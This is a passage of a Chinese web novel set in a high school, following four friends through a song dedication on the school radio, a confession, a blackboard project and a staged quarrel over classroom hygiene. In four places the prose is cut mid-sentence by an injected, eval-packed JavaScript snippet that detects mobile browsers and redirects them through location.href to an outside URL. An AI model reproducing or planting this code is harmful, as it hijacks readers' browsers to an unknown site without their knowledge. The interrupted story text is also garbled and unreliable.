“啧啧啧,那这么比较起来我才是好男人,我通常都是点我女朋友喜欢的。” 林沉一说得有些骄傲。 简悠悠笑了笑:“喜欢一个人呢,就是要和他一起吃很多顿饭,我觉得我们这样才是长久之计。你单方面的迁就能坚持多久?再者说,若是吃饭都不熨帖,其他事要怎么办?” 简悠悠和江煦现在的情感指数还未完全对等,元子衿怕她会因林沉一的话觉得扎心,谁知反驳得很有道理,特意放下筷子举手声援:“我同意!” 芙城人爱吃辣,但并不代表每一个芙城人都能吃辣,江煦就是其一。 简悠悠在暑假期间没少找借口和江煦约饭,只成功过一次,但就是那一次构成了江煦对她最初的心动。 江煦是天生的左耳失聪,因此不太爱社交,出去和人吃饭的次数更是屈指可数。芙城人爱吃辣这点深入人心,有的时候真的是一桌菜唯有青菜他才能下筷。 两人第一次吃饭时,简悠悠也没心细到那个程度,是服务员在问询忌口,她才顺嘴问了句吃辣情况。 听江煦说不吃辣,她的第一反应就是各自选一道喜欢的菜,还笑说反正也是她占便宜。 各自选择,不是完全迁就对方,当时江煦就想,哪怕他们只当朋友,也可以一起吃很多顿饭了。 简悠悠的话,元子衿的附和,弄得林沉一有点不得劲儿。 和程珂然一起吃饭时,他总是习惯了迁就她的喜好,她会开心地夸赞他记得这些,却从来没有问过他爱不爱吃,所以他们能一起吃很多顿饭吗? 林沉一越想越烦,噘嘴瞪眼地看向对面两个女生。 察觉到容吟投过来的眼杀后,火力不敢再波及元子衿,只好对准简悠悠,让她不痛快。 “我看他就是没有那么喜欢你!” 简悠悠横了他一眼,咬牙道:“你真是找打!” · 日光清浅,云卷云舒,随着钟表里的时针跳向两点,校园广播准时响起。 简悠悠在座位上抻了个懒腰,双目却还不是完全清明。 须臾,元子衿拉着她站起了身,再一看桌面,两人的U型枕已被收进抽屉,只留下窗外投射进来的一片金斑。 “我感觉中午这觉啊,真是越补越困。” 简悠悠一手揉着眼睛嘟囔,一手挽着元子衿下楼,初秋的暖光懒洋洋地洒在楼道里,将她们的影子拉得老长。 走出教学楼后,两人脚步的方向直指小卖部,简悠悠叫嚷着必须来瓶咖啡提提神,元子衿提醒道:“那你待会儿也不能买冰的,你也就这两天到日子了。” 元子衿说的是两人的经期,她们来的时间基本是前后脚,她还有两天结束,简悠悠的估摸着也就是这几天。 “欸,没意思。” 像是为了抚慰简悠悠的叹息吐槽,广播里随即放出的内容成功调动起了她的情绪。 “接下来播放的歌曲是来自高一三班林沉一同学为同班简悠悠同学点的《过火》,敬请欣赏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765404|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 熟悉的前奏旋律缓缓流淌而出,简悠悠的脸色顿时像打翻了的调色盘,从耳根腾地烧起一片绯红,转眼变成咬牙切齿的羞恼。 “林沉一有病吧,这要是被江煦听见了怎么办!过他大爷的火,我今天非弄死他不可!” 四人.帮里,简悠悠和林沉一向来拿的是相杀剧本,此刻发动的反击行为也是林沉一自己嘴贱所引起。 早上那会儿嗦完粉,简悠悠贴心地给每人送上了一瓶饮料刮油,只不过林沉一那瓶可乐被她事先暗地摇晃了十几下。 开盖的瞬间,褐色的汽水泡沫喷涌而出,成功糊了林沉一满脸,黏腻的液体顺着他的下巴滴落,在胸前的校服上洇开一大片深色痕迹。 简悠悠当时憋笑憋得肩膀直抖,还要装出惊讶的样子:“哎呀,这瓶汽水怎么这么激动呢?” “怎么忍心怪你犯了错 是我给你自由过了火 ……” 广播里唱到这句时,简悠悠正一路骂骂咧咧地走到拐弯后就是小卖部的绿荫小道上,一道身影的意外出现,拦住了身旁元子衿的脚步。 “元子衿同学,不好意思,请问……可以打扰你几分钟吗?” · 正所谓不是冤家不聚头,简悠悠刚踏进小卖部门口,就撞见林沉一和容吟并肩站在货架前。 两个男生显然是刚从篮球场下来,新换上的短袖随意卷到肩头,露出精瘦有力的手臂。 林沉一的后颈汗毛冷不防竖起,像只察觉到危险的猫科动物,两人的视线在半空中相撞,刹那间迸发出无形的电光火石。 小卖部的空气仿佛凝固了一秒,容吟敏锐地察觉到这股火药味,他不动声色地往旁边挪了半步,给这场对峙腾出战场。 “林沉一你有病啊,你不要脸我还要,没事点什么过火!你信不信我让你跪下来唱征服!” “呵,我给你唱征服,梦还没醒吧?早上那瓶可乐泼我干吗,应该泼你自己!” “……” 两人你一言我一语,唇枪舌剑几个来回,战火终于消停,容吟得空,问了句元子衿。 简悠悠毫不客气地从货架上拿了两瓶茶派,熟练地划账到林沉一头上,随后扬了扬手,给容吟指明了方位。 “诺,在外面被人表白呢。” 本以为从小卖部一进一出的功夫便可以折身返回教室,简悠悠没料到,今天的少男心事诉说戏码额外长。忽而想到前两天两人研究出的第一计划,转而换上明了的表情。 “可以,这是要来真的了。” 一句无意识的呢喃从简悠悠嘴里跳出,却被一同从小卖部走出的另外两人有心听了去。 “什么来真的?” 林沉一向来不放过任何一个可以凑热闹的八卦,语气热络得仿佛刚才和简悠悠吵得昏天黑地的人不是他。 “还不就是——” 余光瞥到一系列计划的针对目标,简悠悠脑子飞速运转,赶忙改了口:“被我俩谈恋爱的事给刺激到,衿衿说她也想看看,追她的人里会不会出现她喜欢的。” 林沉一目光锁住前方话题可能已经从诗词歌赋聊到人生理想的两人,摸了摸下巴上并不存在的胡须,疑声道: “难道这哥们儿有戏?这被人拦下来表白的时长已经破我们衿妹的最长记录了吧?” 5. 第一计划 通往小卖部的绿荫小道上空气静谧,偶有阵阵微风拂过,疏影横斜,桂花香气争先恐后地钻入鼻孔。 简悠悠一行人与元子衿隔了段距离,所站之处只看得到她的背影,因此完全琢磨不出“花前月下”的两人目前是个什么情形,其实若是能看到元子衿的神情,结果一目了然,因为—— 她走神了。 说来,这还是自元子衿决定执行第一计划后碰到的第一个追求者,既然决定执行计划,那她必然是拿出了和以往不一样的态度。 首先,她认认真真地观察了一下这位追求者,可惜的是,过往的记忆里查无此人。 而后,她又耐着性子听对方说掏心窝子的话,可能是太过啰唆的缘故,片刻后思绪已经不知所踪。 据元子衿了解,容吟现在并没有喜欢的人,所以除开林沉一的牵线外,他也极可能像这样,听完哪个女生动心的心路历程,然后就此开启一段恋爱。 可如果和她眼下的情况一样,他也完全回忆不起同对方过往的任何交集,那最后花落谁家的标准到底是什么? 真心这个东西能判断出几分? 难道要将对方的表白内容是否丰富精彩作为一项判定依据? 可这又不是什么演讲比赛的现场? 元子衿发散地想着些有的没的,乱七八糟的疑问层出不穷,直至眼前的追求者止住话音,而她,受到来自对方殷切又炙热的目光拷问。 这第一计划执行起来还真没那么容易! 回过神后,她脑子里只有这个想法。 “唔……不好意思,我想我们还是——” 拒绝的话还未说完,一个空易拉罐从天而降,“咣当”一声砸在元子衿脚边,清脆的声响成功地将她视线转移。 谁搞偷袭! 元子衿眉头一拧,循着易拉罐飞过来的方向转头,发尾在空中划出一道利落的弧线。 几米开外的位置上,容吟双手插兜站在那里,脸上看不出喜怒,身后的简悠悠和林沉一一副状况外的表情,活像两只误入人类战场的企鹅。 元子衿挑起眉梢,小幅度地歪了下头,无声地向容吟发出询问:干吗? “不好意思,垃圾扔偏了。” 用词虽礼貌,语气却听不出一丝歉意。 元子衿也没多想,眉目舒展开来。 她弯下腰,将空易拉罐捡起,这才注意到它被捏挤得凶狠,已经完全变形。 “他这是练哪门子握力去了吗?” 嘀咕完,往左侧距离自己不到半米的垃圾桶里一扔,这段插曲被元子衿抛之脑后。 随着几人脚步声的靠近,站在元子衿面前的男生登时又紧张了几分,内心本还想着追问一句未得到的答复,一股威慑力随风扑面而来。踌躇片刻,男生最终选择了匆忙道别。 “还不走?等着上课迟到?” 容吟的声音忽地在耳畔响起,声线压得极低,像是淬了冰,每个字都带着锋利的棱角。 “啊?走啊。” 元子衿连忙应声,可话未说完,容吟的背影已经出现在眼前,明明是打了招呼,却一副不想理人的样子,她追了上前,“欸,你慢点儿!” 简悠悠默不作声地看了许久,总觉得哪里不对劲,但一时又没琢磨清楚,她的视线忽转向左边的林沉一。 “容吟什么情况?” 简悠悠没看清,元子衿没看见,只有林沉一清楚地目睹了身旁人直直对准那个方向使力的全过程。 他看出了容吟的不爽,但不爽的原因是什么还有待考证。 为避免被简悠悠看穿自己居然搞不懂兄弟的想法从而坐实这段情谊越来越塑料,林沉一故作出一副严肃说教的表情。 “你也不看看他俩在这耽误多久,真准备迟到啊!” · 放学后,三班教室几乎走空,除了留下一组做卫生的同学,就剩了元子衿和简悠悠两人在后方继续筹备黑板报。 上午的时候孟美兰免了两人的课间操,所以黑板报的大致轮廓布局已经铺好。整体来看,字和画的比例是四六开。 “衿姐,我前面已经都搞定了,最后黑板报这一块儿就得辛苦你们了。” 见简悠悠对着手机在凝神,彭志浩就只和元子衿低声打了个招呼。 今天他们小组留下做卫生,他是负责最后的拖地环节。 整个教室已全部拖过,黑板报这处因着两人的操作还会陆续往下掉点粉笔灰,为了不被扣分,他只得和人额外说一声。 “行,你安心回家吧,待会儿我俩弄完会收拾的。” “好嘞,辛苦了,明天见。” 得到保证后,彭志浩抄起放在桌上的书包往肩上甩,朝教室外跑去时还跳起摸了下门楣。 关于国庆的黑板报内容无非就那么几个,国旗,天安门,华表等,这些元素几乎在过去的三年里也雷打不动地出现在了上头。 若是老师再要求多点,也就是加上北京的几个著名景点,要想来点新意,还真得扣破脑袋想。 周五放学后,几人在办公室里合计许久,其间不知道被孟美兰枪毙掉了多少个方案,最后元子衿的目光从窗外收回时,扫过窗台上的一盆月季,顿时来了灵感。 “孟老师,您觉得把各个地方的省花画出来怎么样?国庆毕竟也是举国欢庆的日子,没必要只局限在北京,您说呢?” 经元子衿这一提醒,简悠悠也想起些什么,适时地添柴加火:“老师您看啊,咱们国家是一体,有点什么大事不都是各地一起参与吗!我之前跟着我妈去过一趟澳门,那边有个展览馆展示的就是回归时各个政府送的礼,类比一下,我觉得画省花既有参与感也算有新意。” 孟美兰本就是想召集这对画板报的黄金搭档做出商量,既然她们能统一,主意又还不错,最后这期国庆黑板报作画的部分才就此一锤定音。 “悠悠,抬个头,看看我这朵月季像那么回事吗?” 简悠悠将手机往兜里一扔,仔细打量起元子衿刚落笔的画。 花瓣饱满,色彩的侧重和留白恰到好处,说是栩栩如生也不为过。 “一百昏!” 元子衿弯唇一笑,继续她的花团锦簇大业。 “对了,有个事忘了问你。” 简悠悠拉过一旁的椅子,和元子衿的并排到一起,她抬脚踏上去,和元子衿视线一下齐平。 “今天那个追求者,感觉怎么样?” 元子衿落在黑板报上的手一滞,看向简悠悠后,摇了摇头。 “不太行,那会儿我本来是打算认真听他说的,结果听着听着就走了神。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765405|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说你俩怎么站那耗那么久,敢情是因为你走神了!” 简悠悠一脸恍然大悟,又听元子衿继续说:“我觉得吧,第一计划要是这样等着人上门来找我也挺难执行的。” “唔——” 弯着手指抵在唇下思索片刻,简悠悠得出结论:“你的问题应该在于你对那个人没有任何设想,所以这些追求者出现以后,抛开你能在瞬间对他有心动的感觉外,没有一个衡量的标准。你的理想型是什么样子?比如你对身高长相这种外在条件如果有很具体的要求,那么第一眼就能定生死了。” 元子衿的身边不乏长得好看的人,单论异性,容吟和林沉一也足以将她的眼光拔高,但她不想表现得太肤浅,于是给了个折中的答案:“高一点,然后长得比较周正。” 简悠悠点头了然:“懂了,高富帅嘛。” “嘶——” 元子衿想要辩解,简悠悠没给她机会:“我们公主就得配这个类型,没毛病。” · 挂在教室墙角的广播响起了新一轮铃声,没过多久,容吟回了教室。 整个教室空荡荡的,只留了黑板报前一个身影。 “简悠悠呢?” 元子衿没回头,仍专注着笔下的画。 “找江煦去了。” 简悠悠负责板书,前期只需要查找资料,她在教室陪着元子衿坐了会儿,估摸着高二放学后就离开了教室。 “今年这板报就专注画花吗?” 那天从办公室出来,两个女生只顾着吐槽孟美兰枪毙她们方案时的三寸不烂之舌,只字未提画报最后定下的内容,容吟也就以为和以往的大差不差。 眼下看着黑板上这根已经串起几朵不同花种的藤蔓,他大概猜到了后致的走向。 “嗯,各地的省花。怎么样,这个主意还是我想到的?” 容吟的目光从黑板移至元子衿上翘的嘴角,跟着一起弯了弯,“厉害。” 元子衿突然伸出左手,在空中胡乱扑棱了几下,腕骨处还沾着一点灰。 “你帮我看下时间,现在几点了?” 刚刚在球场打球,容吟把腕表卸了下来,连同手机一起放在了篮球架下的书包里,他下意识地摸了下口袋,而后才恍然一般转头看向教室前方黑板的上方。 “六点一十。” “那差不多了,悠悠说二十在校门口等。” 元子衿将手中这一笔细致收尾,把粉笔往盒子里一抛,转身准备下来。 刚回头,一只手已经伸向了她。 元子衿摊开掌心,细白的肌肤上沾着五颜六色的粉笔灰,“有灰。” 容吟倾身向前,温热的指腹扣住她纤细的腕骨,“跳吧。” 他声音里带着笑意,下颌微扬的弧度恰好接住从后门泄入的一缕金光。 等元子衿从洗手间回来时,黑板报下那块地方的桌椅已经恢复原位,粉尘也被擦拭干净。 容吟单肩挂着她的书包只待离开,一阵穿堂风吹过,两人的衣角撩动到一起。 “真是能干!谢啦,我们人美心善的容吟同学。” 元子衿拍了拍容吟的肩,眼睛弯成一道月牙,“现在启程回家吧。” 话音落下,两人齐步往外走,影子在深橘色的夕阳投射下交叠成双。 6. 第一计划 读书的日子周而复始,时间一长,每个班级总会出现几大未解之谜,今天,元子衿就碰上了其中之一。 “谁把我纸用完了?!” 正逢穿插课间操的大课间结束,被免除这项任务的元子衿终于将黑板报收尾,她踩着上课铃响前洗完手回来,谁知道就见桌上躺了个空落落的袋子。 她清楚地记得这包抽纸还剩一半,并且离开座位前是放在了抽屉里。 “抽这最后一张纸的人不厚道,用完了还留着让你扔垃圾。” 简悠悠晚一步进教室,对于这一起男默女泪事件摇头点评。 “你还说风凉话!” 横了简悠悠一眼后,元子衿将空袋子一把揉成团,扯开挂在桌边放垃圾的塑料袋,用力往里一扔。 没了力的束缚,成团的空袋子又开始向四周伸展,没两秒就恢复了六七成原型,叫人有种撒了气又没撒干净的感觉。 算了,能怎么办呢?还是下课再去买一包吧。 元子衿吁着气坐下,自我开解。 “怎么了?” 感受到桌椅相碰的细微动静,坐在后桌补觉的彦希从手臂间缓慢抬起头,听简悠悠说明情况后,打着哈欠的一张嘴维持在了O型。 高举头顶的手被收回,嘴巴也重新抿起,飞快地扫了一眼元子衿桌旁的垃圾袋后,彦希讪笑:“报一丝,纸是我拿出来的。” 做完课间操回来,彦希就伏倒在了桌上。 这两天她鼻炎有些发作,鼻子会间断性地流水,闭上眼睛后就一直时不时地醒两下,只好重新坐起。 四个兜摸了个遍,没找到一张纸,彦希眼睛四处乱瞟,最后视线定在了正前方。 为偷懒,她没有完全起身,肚子贴上了桌面,使劲儿伸长手臂去够元子衿的抽屉。 好在手指修长灵活,距离一点点被缩短,最终成功夹着那包抽纸出逃。 彦希用纸,元子衿当然没意见,她一个人又用不了多少,只是—— “你没放回去?” 答案毋庸置疑,因为彦希还回去时采用了更为方便快捷的方式,那就是扔。 只要降落地点在元子衿的桌面范围内,即算成功。 彦希又醒了醒鼻子,双手合上,搓了两把,“骚瑞,下课我去买!” 她说话时还带着浓浓的鼻音,眼下的青黑在白皙的皮肤上格外明显。 “算了,又不是你用完的。” 元子衿叹了口气,指尖隔空,轻轻点了点她的眼下,“你还是补觉吧,瞅瞅你这黑眼圈。” 彦希立刻咧嘴一笑,双手在胸前比了个夸张的心形:“爱你!” 元子衿故意板起脸,却掩不住眼角的笑意,“下次用完必须放回抽屉,听到没有?” 彦希五指并拢高举头顶,俏皮地敬了个礼,“YesMadam!” · 下午第一节课预备铃响,急促的脚步声随之而来,没一会儿,几个带着热意的身影风风火火从讲台上走过,牢牢占据了空调柜机的出风口。 九月末的芙城依旧炎热,骄阳孜孜不倦地炙烤着校园,操场的地面上蒸腾起扭曲的热浪,却丝毫没有阻挡住班里这群篮球狂热分子。 偶尔课间十分钟都要争分夺秒去投几个球,就更不必提午休结束后的半小时广播时间了。 离出风口最近的座位上坐着一个女生,原本是安安静静地只等着上课,几个男生围攻在她桌前后,手不由得捂住了鼻子。 “一群男的没一点公德心。” 元子衿循着简悠悠视线望了过去,接上一句:“和偷用我纸的人一样。” 右边的肩膀突然被搭上,元子衿偏头,一条草莓味的悠哈闯入视线,没等她问,彦希主动交代。 “后方传来投喂。” 元子衿转过身,眯眼看人:“搞这么客气?” 彦希抛了个媚眼给她:“爱你怎么可以只是说说而已。” 两人笑着打趣了几句,看到孟美兰从后门走进,元子衿作势提醒。 目光收回时,她的视线从坐在最后排的两人身上扫过,顿了一下。 坐正后,元子衿歪头和简悠悠耳语:“容吟和林沉一这打球后换衣服的习惯是怎么养成的?” 简悠悠皱眉思考:“不记得了,感觉挺久的,你问这儿干嘛?” “看看能不能发扬光大。” 简悠悠一听就明白了元子衿话里的意思。 她转过头,向着这组的最后瞄了一眼,转回时,又看了看空调的方向。 还真别说,她头一回觉得林沉一身上人性的光辉如此闪亮。 · 放学回家的路上,元子衿问起了换衣服这事儿,林沉一一听,声音瞬间激昂。 “因为你啊,你居然忘了?!” “我?” 元子衿的声音同样难以置信。 “就刚上小学那会儿。” 林沉一给了一点提示。 时间节点一出现,元子衿的脑海里依稀翻腾出点什么。 那个时候,容吟和林沉一似乎是刚把篮球打顺手,每天放学后都会在篮球场上多逗留一会儿,因为元子衿和简悠悠有人来接,就没有等他们。 有一回,元子衿吃过晚饭,捧着两杯冰淇淋出门去找简悠悠,路上正撞见回来的两人。 林沉一兴致冲冲地拉着容吟跑到元子衿身旁,准备口头炫耀一下他突飞猛进的球艺,结果却是见到了她皱眉嫌弃的表情。 “你是不知道,那给我幼小的心灵带来了多大的伤害!” 其实敏感察觉到元子衿变化的人是容吟,当即他就拉开了两个男生和她的距离。 再之后,他就有了往书包里多备一件衣服的习惯,久而久之,林沉一也有模有样地学上了。 对此,元子衿只能说,其实皱眉这个表情所能包含的意思有很多。 当时她见两人冲来,第一反应是担心自己的冰淇淋会被抢,所以本能地表现出了戒备。 再有就是,那会儿本来就气温高,这两个火球往她身旁一站,更热了,这搁谁不得皱眉? 但要说味道,她还真没注意。 误会已经造成,现在来解释也无意义,况且误打误撞让两人养成一个好习惯,也不是坏事。 “这说明什么呢?哪里有压迫,哪里就有抗争,我抗争的结果还是很好的嘛,你看,你们养成了良好的习惯,和班里那群同样是打完篮球的男生一比,多清新脱俗!” 元子衿朝着简悠悠眨了眨眼,简悠悠立马会意:“就是,你是不知道下午打预备铃那会儿,他们往空调前一站,坐在前排的女生都捂上了鼻子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765406|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不一样啊,我回头一看,天哪,这两个人头顶有发光的小圈圈呢!” 容吟听了含笑不语,倒是林沉一有些飘飘然。 “是吧,我和容吟去洗手间换衣服的时候他们还笑我们太讲究,这其实就是讲卫生!” “你说你俩这习惯要是能发扬光大多好。” 元子衿感叹。 林沉一顺嘴就道:“你再抗争一次呗?” “怎么抗争?” 开学才两周,军训围坐一圈自我介绍时每个人都是恨不能直接跳过的态度,元子衿其实对班里大部分人还不能直呼其名,难道第一次对话就要没礼貌地教育别人应该养成怎样良好的卫生习惯吗? 这怕不是没架找架吵,回头还有可能捅到美孟那儿,扣上一顶破坏班级安定的帽子。 旁听了几人的讨论后,容吟给出提议。 “可以考虑指桑骂槐。” 元子衿略一思忖,理解了他的意思。 她和简悠悠对视一眼,成功传达信息,随后,两人的目光一同对准了林沉一。 “你们要干嘛?” 林沉一眼里升起一丝隐约的戒备,步子还来不及后退,已被简悠悠拽住了胳膊。 “和我打个配合,演出戏给他们看,怎么样?” · 回到钰龙湾后,四人分成两队,林沉一被简悠悠拉着去了人工湖那边排练剧本,剩余两人继续回家。 “你那会儿是不是觉得有被打击到?” 林沉一虽说得夸张,但元子衿了解他,八成是到家就忘了那段插曲,倒是容吟,说不准那会儿心里是真有觉得难受。 元子衿的推测十分准确,小容吟那个时候确实有被打击到,但更多的是怕元子衿就此不理他,所以回家后就在想解决的办法。 好在也不是什么难题,无非就是她不喜欢他不干净不卫生的状态,及时改正就好。 “嗯,大受打击。” 容吟眉梢微挑,目光落在元子衿不安分的手指上,“怎么,觉得愧疚了?” 元子衿指尖一颤,校裤的布料被揉出细小的褶皱。 这人怎么一点不知道委婉? 她正腹诽着,忽然触到口袋里的小物件。 “那……请你吃糖?” 元子衿从裤口袋里摸出了那条已经拆封的悠哈,包装纸发出窸窣声响,“然后翻篇?” 指尖捏着糖递过去时,不自觉地蜷了蜷,毕竟是借花献佛。 容吟嘴角牵出一抹笑,不是很赞同这笔“一看就是随机摸到什么就决定用什么来弥补”的交易。 “幼小心灵受到的伤害就值这个?元子衿,你是要从商吗?” “我不管。”说着,元子衿停下脚步,拆了一颗糖出来,去除包装纸后强行塞进了容吟嘴里。 “我们关系那么好,怎么可以留着这种小小阴影挥之不去。” 这条悠哈统共就剩了两粒,元子衿将最后一粒也放进了容吟手心。 “林沉一的份额我也补给了你,可不许再提了啊!” 两人站在了一棵粗壮的香樟树下,夕阳穿过枝繁叶茂投下的光斑明暗交替地落在了他们身上。 看着眼前这张写着“强买强卖”的脸,容吟笑出声时,恰好分了一小块光亮撞进他的眼眸。 “行。” 7. 第一计划 白晃晃的日光铺满球场,一众男生的鞋底快速摩擦着橡胶地,听着这有些刺耳的声音,元子衿丝毫不怀疑下一秒就能冒出噼里啪啦的火花来。 “听过脚下生风,但我感觉他们这得生火。” 体育课结束,篮球场上的比拼还在继续,元子衿和简悠悠一边用手扇风,一边往小卖部走去。 “对了,待会儿上课前你们吵得完吗?” 按照计划,容吟会以要去趟办公室为借口提前叫停,然后由林沉一领着其他男生回教室,再等林沉一往空调前一站,戏便开锣。 简悠悠回忆了下昨天和林沉一排练的场景,掐指一算,应该差不多。 “主要看临时发挥吧。” 光是想想两人即将飙戏的画面,元子衿已经忍不住想笑,她拍了拍简悠悠的肩膀,提前慰问:“辛苦了,我怕笑场,就不留在一线劝架了,我坐后门去盯梢。” 简悠悠反手抚上元子衿搭她肩上的手,笑道:“好说好说,纯当抒发压力了,你就等着瞧吧。” · “嘭——” 前门被人猛地推开,热气和光线一同泄进教室,林沉一跨着大步,一路走到指定位置。 为了加强两人发生冲突的真实感,简悠悠特意提前和那位坐在出风口前的女生搭上了话,这会儿就在她身边站着。 林沉一一就位,两人的视线已在不经意间完成对接。 林沉一满头大汗,因为没换衣服,也黏得难受,几乎都不需要演技,他已经完成了把空调叶打下,拽下领口灌风,以及顺手拿过附近的书本就扇等一系列动作。 “你有病吧,这教室里就你一个人热啊?你不知道别人也要吹风吗?” 因为有见过简悠悠和林沉一一起上下学,知道两人相熟,众人只当是简悠悠一句平常间对好友的吐槽。 “刚打完球,你担待一下,好吧。” 刚刚经过讲台时,林沉一余光扫了眼底下,班里的人基本上都已回来,为此,他特意酝酿着自己的情绪,将开场表达得较为客气。 简悠悠瞟了一眼挂在黑板上方的挂钟,林沉一比预计回来得晚了一点,留给她发挥的时间并不多,只得早早把话故意说得难听。 “我有什么好担待的?你不知道自己出了汗有味道吗?你这搞得其他人不仅是吹不到空调,还得闻着你的臭味,能不能有点素质?” 一番话扫射过去,站在空调前的几个男生不约而同地愣了一下,随后,就见林沉一沉着脸转过了身,音量一下拔高。 “吃火药了吧你?我站这里吹会儿风,就听你在这逼逼,你有素质吗?” 气氛已是剑拔弩张,跟着一起吹风的几个男生赶忙劝话,不料简悠悠迅速发起新一轮的攻击。 “我没素质也不会带着一身臭汗特意站在出风口,我没素质也不会未经同意就拿着别人的书本在这扇风。” 简悠悠的嗓门也不遑多让地提高,脑子里突然记起元子衿昨天那包消失的抽纸,决定把锅一并甩出去。 “难怪我说放在桌上的抽纸怎么一下用完了,不会也是你没素质,一个顺手拿去擦汗了吧?” 这下林沉一憋不住了,面红耳赤地彻底爆发。 “你他妈的别乱甩锅,你那纸我就没见过,照你这么说,要是哪天东西掉了还得找我呗?” “你跟谁他妈的在这骂脏话,你大爷的!” “……” 班里人的视线都被两人的争执吸引了去,坐在出风口的女生也起身劝架。 众人都没有想到他们会越吵越激烈,只有坐在一大组最后的元子衿被两人的“演技”所折服。 “他俩吵得好真情实感啊!” 容吟只晚了林沉一一步回到教室,就坐在了元子衿身旁。 他原本是靠坐在椅子上,闻言换了坐姿,胳膊撑到桌上,笑说:“没有演技,全是感情。” 从篮球场回来,容吟已经换下沾了汗液的校服,简单的白T恤贴在他身上,小小的品牌Logo随着呼吸微微起伏。 他说话时不自觉朝元子衿倾身,衣领处飘来一缕若有似无的薄荷清香,混着阳光晒过的棉布气息,在两人之间织成一张无形的网。 元子衿注意到他发梢还挂着未干的水珠,在灯光下折射出细碎的光点,随着他偏头的动作,轻轻颤动。 “其实像你们这样,养成及时更换衣物的习惯,稍微冲洗一下,哪怕再站到空调前,也会好很多,真不知道为什么要那么懒,嫌麻烦。” 没等容吟接话,元子衿撑着下巴继续说:“但我也不是完全表扬你们,所以别骄傲,毕竟这勋功章里啊,有大半归于阿姨,是她,辛劳洗了衣服。” 容吟笑得无奈,但也得承认元子衿没说错。 预备铃声响起,硝烟终止的信号打响,林沉一怒气冲冲地回了座位。 他先是拖拉椅子,弄出点表明内心不忿的动静,接着又横眼,企图波及周围那些虽无辜但在偷偷打量的目光。 终于等到老师走上讲台,这起风波彻底落下帷幕。 书本哗哗的翻页声陆续响起,众人的心思归于原位,林沉一搡了搡身旁人的胳膊,用表情询问:哥们儿表现得怎么样?是不是很牛逼? 容吟翻页的动作停下,转手换成一个大拇指,随后就见林沉一得意忘形地从抽屉里摸出一瓶还在冒冷气的饮料。 这瓶饮料背后的含义并不纯粹,它是林沉一演艺生涯中最初一块里程碑的实体延伸,是林沉一勇闯演艺圈的首桶金。 虽然没有208,但元子衿保证,价值绝对超过了两块八! · 经此一战,班里男生虽没有一步到位养成多良好的卫生习惯,但也是不敢再这么直接霸占着空调的出风口了,而简悠悠在班里的地位直线上升,就连开学时偷摸向林沉一打听过她的男生都开始绕道而行。 元子衿将消息转述给简悠悠听时,她是这么回复的。 “趁早放弃也好,他这心理素质不行。” 这两天,简悠悠和林沉一对外依旧保持着“冷战”状态,来回学校的路上也是相隔十几米距离,直至周边车水马龙,四人才在不经意间完成汇合。 “欸,你国庆有什么安排?” 虽然之前确认容吟的确在搞暗恋时,林沉一一度十分震惊,但冷静下来想想,李沐晴已经去了别的学校,而且又是个两耳不闻窗外事,无人可扰她学习的主儿,这段感情怎么看都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765407|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死局。 既然注定无疾而终,那他原先的计划也不是不能继续。 “怎么?”容吟挑眉,觑了林沉一一眼,“你要约我?” 尾音上扬,带着一丝戏谑。 “昂,给不给面子?” 林沉一也知道自己最近的空闲时间大都拿去了约会,难免有些冷落容吟,但他不是通过一起线上开黑,以及去他家抄作业维系感情了嘛! “不好说,我爸妈收了几张请柬,说是要我先把时间空出来。” 听出了容吟话里的无奈,林沉一转而开口安慰:“和大人去这种场合最无聊了,你要是上线就拉我,兄弟与你精神同在。” 晚霞缀满天边,气温没降一点,元子衿和简悠悠实在没胃口,准备打包点泡菜回去。 两人一手端碗,一手拿夹,见容吟和林沉一过来,问他们要不要也来点儿。 两个男生摇头拒绝,继续刚刚的话题。 简悠悠举着夹子,正好踱到靠近门口的冰柜,她一边选菜,一边顺道听了一耳朵两个男生的谈话。捕捉到几个关键字眼后,不动声色地溜回元子衿身边耳语。 “林沉一贼心不死,好像是打算约着容吟国庆放假的时候相亲。” 